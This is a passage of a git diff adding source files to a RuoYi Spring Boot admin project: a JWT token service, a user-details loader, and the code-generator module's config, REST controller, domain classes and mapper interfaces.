+} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TokenService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TokenService.java new file mode 100644 index 0000000..de79e43 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TokenService.java @@ -0,0 +1,226 @@ +package com.ruoyi.framework.web.service; + +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import javax.servlet.http.HttpServletRequest; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.utils.ServletUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.ip.AddressUtils; +import com.ruoyi.common.utils.ip.IpUtils; +import com.ruoyi.common.utils.uuid.IdUtils; +import eu.bitwalker.useragentutils.UserAgent; +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwts; +import io.jsonwebtoken.SignatureAlgorithm; + +/** + * token验证处理 + * + * @author ruoyi + */ +@Component +public class TokenService +{ + // 令牌自定义标识 + @Value("${token.header}") + private String header; + + // 令牌秘钥 + @Value("${token.secret}") + private String secret; + + // 令牌有效期(默认30分钟) + @Value("${token.expireTime}") + private int expireTime; + + protected static final long MILLIS_SECOND = 1000; + + protected static final long MILLIS_MINUTE = 60 * MILLIS_SECOND; + + private static final Long MILLIS_MINUTE_TEN = 20 * 60 * 1000L; + + @Autowired + private RedisCache redisCache; + + /** + * 获取用户身份信息 + * + * @return 用户信息 + */ + public LoginUser getLoginUser(HttpServletRequest request) + { + // 获取请求携带的令牌 + String token = getToken(request); + if (StringUtils.isNotEmpty(token)) + { + try + { + Claims claims = parseToken(token); + // 解析对应的权限以及用户信息 + String uuid = (String) claims.get(Constants.LOGIN_USER_KEY); + String userKey = getTokenKey(uuid); + LoginUser user = redisCache.getCacheObject(userKey); + return user; + } + catch (Exception e) + { + } + } + return null; + } + + /** + * 设置用户身份信息 + */ + public void setLoginUser(LoginUser loginUser) + { + if (StringUtils.isNotNull(loginUser) && StringUtils.isNotEmpty(loginUser.getToken())) + { + refreshToken(loginUser); + } + } + + /** + * 删除用户身份信息 + */ + public void delLoginUser(String token) + { + if (StringUtils.isNotEmpty(token)) + { + String userKey = getTokenKey(token); + redisCache.deleteObject(userKey); + } + } + + /** + * 创建令牌 + * + * @param loginUser 用户信息 + * @return 令牌 + */ + public String createToken(LoginUser loginUser) + { + String token = IdUtils.fastUUID(); + loginUser.setToken(token); + setUserAgent(loginUser); + refreshToken(loginUser); + + Map claims = new HashMap<>(); + claims.put(Constants.LOGIN_USER_KEY, token); + return createToken(claims); + } + + /** + * 验证令牌有效期,相差不足20分钟,自动刷新缓存 + * + * @param loginUser + * @return 令牌 + */ + public void verifyToken(LoginUser loginUser) + { + long expireTime = loginUser.getExpireTime(); + long currentTime = System.currentTimeMillis(); + if (expireTime - currentTime <= MILLIS_MINUTE_TEN) + { + refreshToken(loginUser); + } + } + + /** + * 刷新令牌有效期 + * + * @param loginUser 登录信息 + */ + public void refreshToken(LoginUser loginUser) + { + loginUser.setLoginTime(System.currentTimeMillis()); + loginUser.setExpireTime(loginUser.getLoginTime() + expireTime * MILLIS_MINUTE); + // 根据uuid将loginUser缓存 + String userKey = getTokenKey(loginUser.getToken()); + redisCache.setCacheObject(userKey, loginUser, expireTime, TimeUnit.MINUTES); + } + + /** + * 设置用户代理信息 + * + * @param loginUser 登录信息 + */ + public void setUserAgent(LoginUser loginUser) + { + UserAgent userAgent = UserAgent.parseUserAgentString(ServletUtils.getRequest().getHeader("User-Agent")); + String ip = IpUtils.getIpAddr(); + loginUser.setIpaddr(ip); + loginUser.setLoginLocation(AddressUtils.getRealAddressByIP(ip)); + loginUser.setBrowser(userAgent.getBrowser().getName()); + loginUser.setOs(userAgent.getOperatingSystem().getName()); + } + + /** + * 从数据声明生成令牌 + * + * @param claims 数据声明 + * @return 令牌 + */ + private String createToken(Map claims) + { + String token = Jwts.builder() + .setClaims(claims) + .signWith(SignatureAlgorithm.HS512, secret).compact(); + return token; + } + + /** + * 从令牌中获取数据声明 + * + * @param token 令牌 + * @return 数据声明 + */ + private Claims parseToken(String token) + { + return Jwts.parser() + .setSigningKey(secret) + .parseClaimsJws(token) + .getBody(); + } + + /** + * 从令牌中获取用户名 + * + * @param token 令牌 + * @return 用户名 + */ + public String getUsernameFromToken(String token) + { + Claims claims = parseToken(token); + return claims.getSubject(); + } + + /** + * 获取请求token + * + * @param request + * @return token + */ + private String getToken(HttpServletRequest request) + { + String token = request.getHeader(header); + if (StringUtils.isNotEmpty(token) && token.startsWith(Constants.TOKEN_PREFIX)) + { + token = token.replace(Constants.TOKEN_PREFIX, ""); + } + return token; + } + + private String getTokenKey(String uuid) + { + return CacheConstants.LOGIN_TOKEN_KEY + uuid; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/UserDetailsServiceImpl.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/UserDetailsServiceImpl.java new file mode 100644 index 0000000..224f325 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/UserDetailsServiceImpl.java @@ -0,0 +1,65 @@ +package com.ruoyi.framework.web.service; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.core.userdetails.UserDetails; +import org.springframework.security.core.userdetails.UserDetailsService; +import org.springframework.security.core.userdetails.UsernameNotFoundException; +import org.springframework.stereotype.Service; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.enums.UserStatus; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.service.ISysUserService; + +/** + * 用户验证处理 + * + * @author ruoyi + */ +@Service +public class UserDetailsServiceImpl implements UserDetailsService +{ + private static final Logger log = LoggerFactory.getLogger(UserDetailsServiceImpl.class); + + @Autowired + private ISysUserService userService; + + @Autowired + private SysPasswordService passwordService; + + @Autowired + private SysPermissionService permissionService; + + @Override + public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException + { + SysUser user = userService.selectUserByUserName(username); + if (StringUtils.isNull(user)) + { + log.debug("登录用户:{} 不存在.", username); + throw new ServiceException("登录用户:" + username + " 不存在"); + } + else if (UserStatus.DELETED.getCode().equals(user.getDelFlag())) + { + log.debug("登录用户:{} 已被删除.", username); + throw new ServiceException("对不起,您的账号:" + username + " 已被删除"); + } + else if (UserStatus.DISABLE.getCode().equals(user.getStatus())) + { + log.debug("登录用户:{} 已被停用.", username); + throw new ServiceException("对不起,您的账号:" + username + " 已停用"); + } + + passwordService.validate(user); + + return createLoginUser(user); + } + + public UserDetails createLoginUser(SysUser user) + { + return new LoginUser(user.getUserId(), user.getDeptId(), user, permissionService.getMenuPermission(user)); + } +} diff --git a/ruoyi-generator/pom.xml b/ruoyi-generator/pom.xml new file mode 100644 index 0000000..10bda90 --- /dev/null +++ b/ruoyi-generator/pom.xml @@ -0,0 +1,40 @@ + + + + ruoyi + com.ruoyi + 3.8.5 + + 4.0.0 + + ruoyi-generator + + + generator代码生成 + + + + + + + org.apache.velocity + velocity-engine-core + + + + + commons-collections + commons-collections + + + + + com.ruoyi + ruoyi-common + + + + + \ No newline at end of file diff --git a/ruoyi-generator/ruoyi-generator.iml b/ruoyi-generator/ruoyi-generator.iml new file mode 100644 index 0000000..aff9889 --- /dev/null +++ b/ruoyi-generator/ruoyi-generator.iml @@ -0,0 +1,280 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/config/GenConfig.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/config/GenConfig.java new file mode 100644 index 0000000..cc4cd14 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/config/GenConfig.java @@ -0,0 +1,73 @@ +package com.ruoyi.generator.config; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.context.annotation.PropertySource; +import org.springframework.stereotype.Component; + +/** + * 读取代码生成相关配置 + * + * @author ruoyi + */ +@Component +@ConfigurationProperties(prefix = "gen") +@PropertySource(value = { "classpath:generator.yml" }) +public class GenConfig +{ + /** 作者 */ + public static String author; + + /** 生成包路径 */ + public static String packageName; + + /** 自动去除表前缀,默认是false */ + public static boolean autoRemovePre; + + /** 表前缀(类名不会包含表前缀) */ + public static String tablePrefix; + + public static String getAuthor() + { + return author; + } + + @Value("${author}") + public void setAuthor(String author) + { + GenConfig.author = author; + } + + public static String getPackageName() + { + return packageName; + } + + @Value("${packageName}") + public void setPackageName(String packageName) + { + GenConfig.packageName = packageName; + } + + public static boolean getAutoRemovePre() + { + return autoRemovePre; + } + + @Value("${autoRemovePre}") + public void setAutoRemovePre(boolean autoRemovePre) + { + GenConfig.autoRemovePre = autoRemovePre; + } + + public static String getTablePrefix() + { + return tablePrefix; + } + + @Value("${tablePrefix}") + public void setTablePrefix(String tablePrefix) + { + GenConfig.tablePrefix = tablePrefix; + } +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/controller/GenController.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/controller/GenController.java new file mode 100644 index 0000000..2aed686 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/controller/GenController.java @@ -0,0 +1,214 @@ +package com.ruoyi.generator.controller; + +import java.io.IOException; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import javax.servlet.http.HttpServletResponse; +import org.apache.commons.io.IOUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.core.text.Convert; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.generator.domain.GenTable; +import com.ruoyi.generator.domain.GenTableColumn; +import com.ruoyi.generator.service.IGenTableColumnService; +import com.ruoyi.generator.service.IGenTableService; + +/** + * 代码生成 操作处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/tool/gen") +public class GenController extends BaseController +{ + @Autowired + private IGenTableService genTableService; + + @Autowired + private IGenTableColumnService genTableColumnService; + + /** + * 查询代码生成列表 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:list')") + @GetMapping("/list") + public TableDataInfo genList(GenTable genTable) + { + startPage(); + List list = genTableService.selectGenTableList(genTable); + return getDataTable(list); + } + + /** + * 修改代码生成业务 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:query')") + @GetMapping(value = "/{tableId}") + public AjaxResult getInfo(@PathVariable Long tableId) + { + GenTable table = genTableService.selectGenTableById(tableId); + List tables = genTableService.selectGenTableAll(); + List list = genTableColumnService.selectGenTableColumnListByTableId(tableId); + Map map = new HashMap(); + map.put("info", table); + map.put("rows", list); + map.put("tables", tables); + return success(map); + } + + /** + * 查询数据库列表 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:list')") + @GetMapping("/db/list") + public TableDataInfo dataList(GenTable genTable) + { + startPage(); + List list = genTableService.selectDbTableList(genTable); + return getDataTable(list); + } + + /** + * 查询数据表字段列表 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:list')") + @GetMapping(value = "/column/{tableId}") + public TableDataInfo columnList(Long tableId) + { + TableDataInfo dataInfo = new TableDataInfo(); + List list = genTableColumnService.selectGenTableColumnListByTableId(tableId); + dataInfo.setRows(list); + dataInfo.setTotal(list.size()); + return dataInfo; + } + + /** + * 导入表结构(保存) + */ + @PreAuthorize("@ss.hasPermi('tool:gen:import')") + @Log(title = "代码生成", businessType = BusinessType.IMPORT) + @PostMapping("/importTable") + public AjaxResult importTableSave(String tables) + { + String[] tableNames = Convert.toStrArray(tables); + // 查询表信息 + List tableList = genTableService.selectDbTableListByNames(tableNames); + genTableService.importGenTable(tableList); + return success(); + } + + /** + * 修改保存代码生成业务 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:edit')") + @Log(title = "代码生成", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult editSave(@Validated @RequestBody GenTable genTable) + { + genTableService.validateEdit(genTable); + genTableService.updateGenTable(genTable); + return success(); + } + + /** + * 删除代码生成 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:remove')") + @Log(title = "代码生成", businessType = BusinessType.DELETE) + @DeleteMapping("/{tableIds}") + public AjaxResult remove(@PathVariable Long[] tableIds) + { + genTableService.deleteGenTableByIds(tableIds); + return success(); + } + + /** + * 预览代码 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:preview')") + @GetMapping("/preview/{tableId}") + public AjaxResult preview(@PathVariable("tableId") Long tableId) throws IOException + { + Map dataMap = genTableService.previewCode(tableId); + return success(dataMap); + } + + /** + * 生成代码(下载方式) + */ + @PreAuthorize("@ss.hasPermi('tool:gen:code')") + @Log(title = "代码生成", businessType = BusinessType.GENCODE) + @GetMapping("/download/{tableName}") + public void download(HttpServletResponse response, @PathVariable("tableName") String tableName) throws IOException + { + byte[] data = genTableService.downloadCode(tableName); + genCode(response, data); + } + + /** + * 生成代码(自定义路径) + */ + @PreAuthorize("@ss.hasPermi('tool:gen:code')") + @Log(title = "代码生成", businessType = BusinessType.GENCODE) + @GetMapping("/genCode/{tableName}") + public AjaxResult genCode(@PathVariable("tableName") String tableName) + { + genTableService.generatorCode(tableName); + return success(); + } + + /** + * 同步数据库 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:edit')") + @Log(title = "代码生成", businessType = BusinessType.UPDATE) + @GetMapping("/synchDb/{tableName}") + public AjaxResult synchDb(@PathVariable("tableName") String tableName) + { + genTableService.synchDb(tableName); + return success(); + } + + /** + * 批量生成代码 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:code')") + @Log(title = "代码生成", businessType = BusinessType.GENCODE) + @GetMapping("/batchGenCode") + public void batchGenCode(HttpServletResponse response, String tables) throws IOException + { + String[] tableNames = Convert.toStrArray(tables); + byte[] data = genTableService.downloadCode(tableNames); + genCode(response, data); + } + + /** + * 生成zip文件 + */ + private void genCode(HttpServletResponse response, byte[] data) throws IOException + { + response.reset(); + response.addHeader("Access-Control-Allow-Origin", "*"); + response.addHeader("Access-Control-Expose-Headers", "Content-Disposition"); + response.setHeader("Content-Disposition", "attachment; filename=\"ruoyi.zip\""); + response.addHeader("Content-Length", "" + data.length); + response.setContentType("application/octet-stream; charset=UTF-8"); + IOUtils.write(data, response.getOutputStream()); + } +} \ No newline at end of file diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTable.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTable.java new file mode 100644 index 0000000..269779c --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTable.java @@ -0,0 +1,372 @@ +package com.ruoyi.generator.domain; + +import java.util.List; +import javax.validation.Valid; +import javax.validation.constraints.NotBlank; +import org.apache.commons.lang3.ArrayUtils; +import com.ruoyi.common.constant.GenConstants; +import com.ruoyi.common.core.domain.BaseEntity; +import com.ruoyi.common.utils.StringUtils; + +/** + * 业务表 gen_table + * + * @author ruoyi + */ +public class GenTable extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 编号 */ + private Long tableId; + + /** 表名称 */ + @NotBlank(message = "表名称不能为空") + private String tableName; + + /** 表描述 */ + @NotBlank(message = "表描述不能为空") + private String tableComment; + + /** 关联父表的表名 */ + private String subTableName; + + /** 本表关联父表的外键名 */ + private String subTableFkName; + + /** 实体类名称(首字母大写) */ + @NotBlank(message = "实体类名称不能为空") + private String className; + + /** 使用的模板(crud单表操作 tree树表操作 sub主子表操作) */ + private String tplCategory; + + /** 生成包路径 */ + @NotBlank(message = "生成包路径不能为空") + private String packageName; + + /** 生成模块名 */ + @NotBlank(message = "生成模块名不能为空") + private String moduleName; + + /** 生成业务名 */ + @NotBlank(message = "生成业务名不能为空") + private String businessName; + + /** 生成功能名 */ + @NotBlank(message = "生成功能名不能为空") + private String functionName; + + /** 生成作者 */ + @NotBlank(message = "作者不能为空") + private String functionAuthor; + + /** 生成代码方式(0zip压缩包 1自定义路径) */ + private String genType; + + /** 生成路径(不填默认项目路径) */ + private String genPath; + + /** 主键信息 */ + private GenTableColumn pkColumn; + + /** 子表信息 */ + private GenTable subTable; + + /** 表列信息 */ + @Valid + private List columns; + + /** 其它生成选项 */ + private String options; + + /** 树编码字段 */ + private String treeCode; + + /** 树父编码字段 */ + private String treeParentCode; + + /** 树名称字段 */ + private String treeName; + + /** 上级菜单ID字段 */ + private String parentMenuId; + + /** 上级菜单名称字段 */ + private String parentMenuName; + + public Long getTableId() + { + return tableId; + } + + public void setTableId(Long tableId) + { + this.tableId = tableId; + } + + public String getTableName() + { + return tableName; + } + + public void setTableName(String tableName) + { + this.tableName = tableName; + } + + public String getTableComment() + { + return tableComment; + } + + public void setTableComment(String tableComment) + { + this.tableComment = tableComment; + } + + public String getSubTableName() + { + return subTableName; + } + + public void setSubTableName(String subTableName) + { + this.subTableName = subTableName; + } + + public String getSubTableFkName() + { + return subTableFkName; + } + + public void setSubTableFkName(String subTableFkName) + { + this.subTableFkName = subTableFkName; + } + + public String getClassName() + { + return className; + } + + public void setClassName(String className) + { + this.className = className; + } + + public String getTplCategory() + { + return tplCategory; + } + + public void setTplCategory(String tplCategory) + { + this.tplCategory = tplCategory; + } + + public String getPackageName() + { + return packageName; + } + + public void setPackageName(String packageName) + { + this.packageName = packageName; + } + + public String getModuleName() + { + return moduleName; + } + + public void setModuleName(String moduleName) + { + this.moduleName = moduleName; + } + + public String getBusinessName() + { + return businessName; + } + + public void setBusinessName(String businessName) + { + this.businessName = businessName; + } + + public String getFunctionName() + { + return functionName; + } + + public void setFunctionName(String functionName) + { + this.functionName = functionName; + } + + public String getFunctionAuthor() + { + return functionAuthor; + } + + public void setFunctionAuthor(String functionAuthor) + { + this.functionAuthor = functionAuthor; + } + + public String getGenType() + { + return genType; + } + + public void setGenType(String genType) + { + this.genType = genType; + } + + public String getGenPath() + { + return genPath; + } + + public void setGenPath(String genPath) + { + this.genPath = genPath; + } + + public GenTableColumn getPkColumn() + { + return pkColumn; + } + + public void setPkColumn(GenTableColumn pkColumn) + { + this.pkColumn = pkColumn; + } + + public GenTable getSubTable() + { + return subTable; + } + + public void setSubTable(GenTable subTable) + { + this.subTable = subTable; + } + + public List getColumns() + { + return columns; + } + + public void setColumns(List columns) + { + this.columns = columns; + } + + public String getOptions() + { + return options; + } + + public void setOptions(String options) + { + this.options = options; + } + + public String getTreeCode() + { + return treeCode; + } + + public void setTreeCode(String treeCode) + { + this.treeCode = treeCode; + } + + public String getTreeParentCode() + { + return treeParentCode; + } + + public void setTreeParentCode(String treeParentCode) + { + this.treeParentCode = treeParentCode; + } + + public String getTreeName() + { + return treeName; + } + + public void setTreeName(String treeName) + { + this.treeName = treeName; + } + + public String getParentMenuId() + { + return parentMenuId; + } + + public void setParentMenuId(String parentMenuId) + { + this.parentMenuId = parentMenuId; + } + + public String getParentMenuName() + { + return parentMenuName; + } + + public void setParentMenuName(String parentMenuName) + { + this.parentMenuName = parentMenuName; + } + + public boolean isSub() + { + return isSub(this.tplCategory); + } + + public static boolean isSub(String tplCategory) + { + return tplCategory != null && StringUtils.equals(GenConstants.TPL_SUB, tplCategory); + } + + public boolean isTree() + { + return isTree(this.tplCategory); + } + + public static boolean isTree(String tplCategory) + { + return tplCategory != null && StringUtils.equals(GenConstants.TPL_TREE, tplCategory); + } + + public boolean isCrud() + { + return isCrud(this.tplCategory); + } + + public static boolean isCrud(String tplCategory) + { + return tplCategory != null && StringUtils.equals(GenConstants.TPL_CRUD, tplCategory); + } + + public boolean isSuperColumn(String javaField) + { + return isSuperColumn(this.tplCategory, javaField); + } + + public static boolean isSuperColumn(String tplCategory, String javaField) + { + if (isTree(tplCategory)) + { + return StringUtils.equalsAnyIgnoreCase(javaField, + ArrayUtils.addAll(GenConstants.TREE_ENTITY, GenConstants.BASE_ENTITY)); + } + return StringUtils.equalsAnyIgnoreCase(javaField, GenConstants.BASE_ENTITY); + } +} \ No newline at end of file diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTableColumn.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTableColumn.java new file mode 100644 index 0000000..d1733b6 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTableColumn.java @@ -0,0 +1,373 @@ +package com.ruoyi.generator.domain; + +import javax.validation.constraints.NotBlank; +import com.ruoyi.common.core.domain.BaseEntity; +import com.ruoyi.common.utils.StringUtils; + +/** + * 代码生成业务字段表 gen_table_column + * + * @author ruoyi + */ +public class GenTableColumn extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 编号 */ + private Long columnId; + + /** 归属表编号 */ + private Long tableId; + + /** 列名称 */ + private String columnName; + + /** 列描述 */ + private String columnComment; + + /** 列类型 */ + private String columnType; + + /** JAVA类型 */ + private String javaType; + + /** JAVA字段名 */ + @NotBlank(message = "Java属性不能为空") + private String javaField; + + /** 是否主键(1是) */ + private String isPk; + + /** 是否自增(1是) */ + private String isIncrement; + + /** 是否必填(1是) */ + private String isRequired; + + /** 是否为插入字段(1是) */ + private String isInsert; + + /** 是否编辑字段(1是) */ + private String isEdit; + + /** 是否列表字段(1是) */ + private String isList; + + /** 是否查询字段(1是) */ + private String isQuery; + + /** 查询方式(EQ等于、NE不等于、GT大于、LT小于、LIKE模糊、BETWEEN范围) */ + private String queryType; + + /** 显示类型(input文本框、textarea文本域、select下拉框、checkbox复选框、radio单选框、datetime日期控件、image图片上传控件、upload文件上传控件、editor富文本控件) */ + private String htmlType; + + /** 字典类型 */ + private String dictType; + + /** 排序 */ + private Integer sort; + + public void setColumnId(Long columnId) + { + this.columnId = columnId; + } + + public Long getColumnId() + { + return columnId; + } + + public void setTableId(Long tableId) + { + this.tableId = tableId; + } + + public Long getTableId() + { + return tableId; + } + + public void setColumnName(String columnName) + { + this.columnName = columnName; + } + + public String getColumnName() + { + return columnName; + } + + public void setColumnComment(String columnComment) + { + this.columnComment = columnComment; + } + + public String getColumnComment() + { + return columnComment; + } + + public void setColumnType(String columnType) + { + this.columnType = columnType; + } + + public String getColumnType() + { + return columnType; + } + + public void setJavaType(String javaType) + { + this.javaType = javaType; + } + + public String getJavaType() + { + return javaType; + } + + public void setJavaField(String javaField) + { + this.javaField = javaField; + } + + public String getJavaField() + { + return javaField; + } + + public String getCapJavaField() + { + return StringUtils.capitalize(javaField); + } + + public void setIsPk(String isPk) + { + this.isPk = isPk; + } + + public String getIsPk() + { + return isPk; + } + + public boolean isPk() + { + return isPk(this.isPk); + } + + public boolean isPk(String isPk) + { + return isPk != null && StringUtils.equals("1", isPk); + } + + public String getIsIncrement() + { + return isIncrement; + } + + public void setIsIncrement(String isIncrement) + { + this.isIncrement = isIncrement; + } + + public boolean isIncrement() + { + return isIncrement(this.isIncrement); + } + + public boolean isIncrement(String isIncrement) + { + return isIncrement != null && StringUtils.equals("1", isIncrement); + } + + public void setIsRequired(String isRequired) + { + this.isRequired = isRequired; + } + + public String getIsRequired() + { + return isRequired; + } + + public boolean isRequired() + { + return isRequired(this.isRequired); + } + + public boolean isRequired(String isRequired) + { + return isRequired != null && StringUtils.equals("1", isRequired); + } + + public void setIsInsert(String isInsert) + { + this.isInsert = isInsert; + } + + public String getIsInsert() + { + return isInsert; + } + + public boolean isInsert() + { + return isInsert(this.isInsert); + } + + public boolean isInsert(String isInsert) + { + return isInsert != null && StringUtils.equals("1", isInsert); + } + + public void setIsEdit(String isEdit) + { + this.isEdit = isEdit; + } + + public String getIsEdit() + { + return isEdit; + } + + public boolean isEdit() + { + return isInsert(this.isEdit); + } + + public boolean isEdit(String isEdit) + { + return isEdit != null && StringUtils.equals("1", isEdit); + } + + public void setIsList(String isList) + { + this.isList = isList; + } + + public String getIsList() + { + return isList; + } + + public boolean isList() + { + return isList(this.isList); + } + + public boolean isList(String isList) + { + return isList != null && StringUtils.equals("1", isList); + } + + public void setIsQuery(String isQuery) + { + this.isQuery = isQuery; + } + + public String getIsQuery() + { + return isQuery; + } + + public boolean isQuery() + { + return isQuery(this.isQuery); + } + + public boolean isQuery(String isQuery) + { + return isQuery != null && StringUtils.equals("1", isQuery); + } + + public void setQueryType(String queryType) + { + this.queryType = queryType; + } + + public String getQueryType() + { + return queryType; + } + + public String getHtmlType() + { + return htmlType; + } + + public void setHtmlType(String htmlType) + { + this.htmlType = htmlType; + } + + public void setDictType(String dictType) + { + this.dictType = dictType; + } + + public String getDictType() + { + return dictType; + } + + public void setSort(Integer sort) + { + this.sort = sort; + } + + public Integer getSort() + { + return sort; + } + + public boolean isSuperColumn() + { + return isSuperColumn(this.javaField); + } + + public static boolean isSuperColumn(String javaField) + { + return StringUtils.equalsAnyIgnoreCase(javaField, + // BaseEntity + "createBy", "createTime", "updateBy", "updateTime", "remark", + // TreeEntity + "parentName", "parentId", "orderNum", "ancestors"); + } + + public boolean isUsableColumn() + { + return isUsableColumn(javaField); + } + + public static boolean isUsableColumn(String javaField) + { + // isSuperColumn()中的名单用于避免生成多余Domain属性,若某些属性在生成页面时需要用到不能忽略,则放在此处白名单 + return StringUtils.equalsAnyIgnoreCase(javaField, "parentId", "orderNum", "remark"); + } + + public String readConverterExp() + { + String remarks = StringUtils.substringBetween(this.columnComment, "(", ")"); + StringBuffer sb = new StringBuffer(); + if (StringUtils.isNotEmpty(remarks)) + { + for (String value : remarks.split(" ")) + { + if (StringUtils.isNotEmpty(value)) + { + Object startStr = value.subSequence(0, 1); + String endStr = value.substring(1); + sb.append("").append(startStr).append("=").append(endStr).append(","); + } + } + return sb.deleteCharAt(sb.length() - 1).toString(); + } + else + { + return this.columnComment; + } + } +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableColumnMapper.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableColumnMapper.java new file mode 100644 index 0000000..951e166 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableColumnMapper.java @@ -0,0 +1,60 @@ +package com.ruoyi.generator.mapper; + +import java.util.List; +import com.ruoyi.generator.domain.GenTableColumn; + +/** + * 业务字段 数据层 + * + * @author ruoyi + */ +public interface GenTableColumnMapper +{ + /** + * 根据表名称查询列信息 + * + * @param tableName 表名称 + * @return 列信息 + */ + public List selectDbTableColumnsByName(String tableName); + + /** + * 查询业务字段列表 + * + * @param tableId 业务字段编号 + * @return 业务字段集合 + */ + public List selectGenTableColumnListByTableId(Long tableId); + + /** + * 新增业务字段 + * + * @param genTableColumn 业务字段信息 + * @return 结果 + */ + public int insertGenTableColumn(GenTableColumn genTableColumn); + + /** + * 修改业务字段 + * + * @param genTableColumn 业务字段信息 + * @return 结果 + */ + public int updateGenTableColumn(GenTableColumn genTableColumn); + + /** + * 删除业务字段 + * + * @param genTableColumns 列数据 + * @return 结果 + */ + public int deleteGenTableColumns(List genTableColumns); + + /** + * 批量删除业务字段 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + public int deleteGenTableColumnByIds(Long[] ids); +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableMapper.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableMapper.java new file mode 100644 index 0000000..9b330df --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableMapper.java @@ -0,0 +1,83 @@ +package com.ruoyi.generator.mapper; + +import java.util.List; +import com.ruoyi.generator.domain.GenTable; + +/** + * 业务 数据层 + * + * @author ruoyi + */ +public interface GenTableMapper +{ + /** + * 查询业务列表 + * + * @param genTable 业务信息 + * @return 业务集合 + */ + public List selectGenTableList(GenTable genTable); + + /** + * 查询据库列表 + * + * @param genTable 业务信息 + * @return 数据库表集合 + */ + public List selectDbTableList(GenTable genTable); + + /** + * 查询据库列表 + * + * @param tableNames 表名称组 + * @return 数据库表集合 + */ + public List selectDbTableListByNames(String[] tableNames); + + /** + * 查询所有表信息 + * + * @return 表信息集合 + */ + public List selectGenTableAll(); + + /** + * 查询表ID业务信息 + * + * @param id 业务ID + * @return 业务信息 + */ + public GenTable selectGenTableById(Long id); + + /** + * 查询表名称业务信息 + * + * @param tableName 表名称 + * @return 业务信息 + */ + public GenTable selectGenTableByName(String tableName); + + /** + * 新增业务 + * + * @param genTable 业务信息 + * @return 结果 + */ + public int 